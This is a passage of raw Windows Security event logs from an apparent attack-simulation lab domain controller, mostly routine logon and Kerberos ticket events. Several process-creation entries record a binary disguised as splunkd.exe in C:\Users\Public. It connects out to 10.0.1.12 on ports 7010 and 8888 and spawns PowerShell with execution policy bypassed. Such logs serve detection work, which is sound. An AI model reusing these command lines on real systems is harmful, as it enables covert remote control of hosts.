Label\High Mandatory Level - Creator Process ID: 0xac4 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253007 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x183C8B - -Process Information: - New Process ID: 0xac4 - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1e0 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253006 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x183C8B - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253005 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x183C8B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B90453B2-FC94-FF53-F1A0-C2D85BF8603A} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253004 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {B90453B2-FC94-FF53-F1A0-C2D85BF8603A} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253003 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {B90453B2-FC94-FF53-F1A0-C2D85BF8603A} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253002 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253001 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x183C32 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253000 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x181515 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253034 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x183C8B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11ec - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1028 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RESA59E.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSCA20F278965434163AFA8AAE8317C8F6D.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253033 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x185B07 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253032 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x185B07 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {48B70B81-02DB-14C2-AB11-0F71D0E762C2} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253031 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {48B70B81-02DB-14C2-AB11-0F71D0E762C2} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253030 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {48B70B81-02DB-14C2-AB11-0F71D0E762C2} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253029 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253037 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x8a4 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x124c - Creator Process Name: C:\Users\Public\splunkd.exe - Process Command Line: powershell.exe -ExecutionPolicy Bypass -C dybztu - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253036 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1278 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x124c - Creator Process Name: C:\Users\Public\splunkd.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253035 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x124c - New Process Name: C:\Users\Public\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x6d4 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Users\Public\splunkd.exe" -socket 10.0.1.12:7010 -http http://10.0.1.12:8888 -contact tcp - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253054 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1918A0 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253053 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x183C8B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253052 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x183EDB - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253051 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1918A0 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253050 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1918A0 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {D086B8A5-5F4E-D37E-881F-054F609C35F4} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253049 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {D086B8A5-5F4E-D37E-881F-054F609C35F4} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253048 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {D086B8A5-5F4E-D37E-881F-054F609C35F4} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253047 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253046 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x191884 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253045 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x191884 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253044 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x191884 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {D086B8A5-5F4E-D37E-881F-054F609C35F4} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated 